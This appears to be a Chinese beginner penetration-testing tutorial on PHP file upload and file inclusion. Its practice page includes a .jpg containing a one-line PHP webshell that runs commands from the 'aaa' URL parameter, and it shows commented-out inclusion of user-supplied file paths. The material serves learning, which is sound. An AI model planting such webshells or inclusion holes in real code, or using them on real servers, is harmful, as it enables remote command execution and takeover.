当前位置: 首页 > article >正文

渗透测试入门学习——php文件上传与文件包含

最终效果:

提前在网站根目录创建upload目录:

主页面(文件名为file.php):
<html>
<head>
    <meta charset="utf-8">
    <title>php文件相关练习</title>
</head>

<h1>php文件相关练习</h1>

<hr>
<?php
    //文件包含include或者require
    require 'content_1.txt';
    echo $content_test;
?>

<hr>
<?php
    echo "jpg文件包含一句话木马",'<br>';
    echo "产生空值报错为正常,url中传入?aaa=dir或是=ipconfig即可getshell",'<br>';
    require 'content_2.jpg'
    //文件包含存在漏洞,可上传jpg文件或是其他文件然后用包含漏洞打开执行
    //文件包含的另一种形式,包含POST或GET传入文件
    //include $_GET['file1'];
    //require $_POST['file2'];
?>

<hr>
<form action="#" method="post" enctype="multipart/form-data">
        <label for="file">文件名:
        <input type="file" name="file" id="file">
        <input type="submit" name="submint" value="提交">
</form>

<?php
    $allow_list = array("gif", "jpeg", "jpg", "png");           //上传文件后缀(类型)白名单
    $file_name = explode(".",$_FILES["file"]["name"]);          //explode()函数,将字符串以第一个参数“.”为标志分隔开成为数组
    $file_type = end($file_name);                               //获取数组最后的元素,确保为最后的元素以免出现识别test.php.jpg这样的文件时出现文件后缀识别错误的bug
    if((($_FILES["file"]["type"] == "image/gif")                //初步判断上传的文件是不是图片类型
    || ($_FILES["file"]["type"] == "image/jpeg")                //六种常见的文件类型
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] <= 204800)                      //大小不超过200kb
    && in_array($file_type, $allow_list)){                      //文件后缀(类型)需要在白名单中
        echo "格式正确".'<br>';

        if($_FILES["file"]["error"] > 0){
            echo "传输失败";
        }
        else{
            echo "文件名".$_FILES["file"]["name"]."<br>";
            echo "文件类型".$_FILES["file"]["type"]."<br>";
            echo "文件大小".$_FILES["file"]["size"]."<br>";
            echo "文件临时位置".$_FILES["file"]["tmp_name"]."<br>";
            echo "传输成功<br>";
            if(file_exists("upload/".$_FILES["file"]["name"])){//判断upload是否存在上传的文件
                echo $_FILES["file"]["name"]."文件已存在";
            }else{
                move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);//将上传的文件移动到新位置
                echo "文件已经存储在:"."upload/".$_FILES["file"]["name"];
            }
        }

    }else{
        if(empty($_FILES)){
            echo "还未上传任何文件";
        }
        else {
            echo "非法的文件格式";
        }
    }
?>
</html>
被包含的txt文件(文件名为content_1.txt):
<?php
    $content_test = 555;
?>
被包含的jpg文件(文件名为content_2.jpg):

命名为content_2.php编辑好后再将后缀改为.jpg,内容为一句话木马

<?php
    system($_GET['aaa']);
?>

http://www.kler.cn/news/309042.html

相关文章:

  • ubuntu个人实用配置问题
  • 零基础小白能学网络安全吗?
  • 科技引领未来生活——“光影漫游者”展览馆应用—轻空间
  • Linux-mysql5.7-mysql8.0安装包下载及安装教程,二合一
  • 第J3-1周:DenseNet算法 实现乳腺癌识别(pytorch)
  • 语音识别(Speech Recongnition)
  • C语言-数据结构 有向图拓扑排序TopologicalSort(邻接表存储)
  • 基于LangChain的Embedding开发手册(保姆级)
  • SQL 基础知识
  • ubuntu20.04下载cuda11.8
  • Linux 系统
  • 清理C盘缓存的垃圾,专业清理C盘缓存垃圾与优化运行内存的策略
  • 026.(娱乐)魔改浏览器-任务栏图标右上角加提示徽章
  • C++ List (带你一篇文章搞定C++中的List类)
  • 复选按钮QCheckBox
  • 【C++】模版的进阶
  • 【Paper Reading】结合 NanoFlow 研究,优化大语言模型服务效率的探索
  • UE5中使用UTexture2D进行纹理绘制
  • 【OpenAPI】Spring3 集成 OpenAPI 生成接口文档
  • (web自动化测试+python)1
  • 金蝶云星空和金蝶云星空接口打通对接实战
  • Vite:快速构建现代Web应用的工具
  • 硬件工程师笔试面试——无线通讯模块
  • 服务器管理:从零开始的服务器安装与配置指南
  • elasticsearch 开启API密钥进行认证
  • Python骨架长度检测
  • leetcode-4. 寻找两个正序数组的中位数
  • 使用QT编写有图形界面的TCP局域网聊天室(app)
  • QT使用事件事件和绘制事件实现简易时钟
  • java自定义注解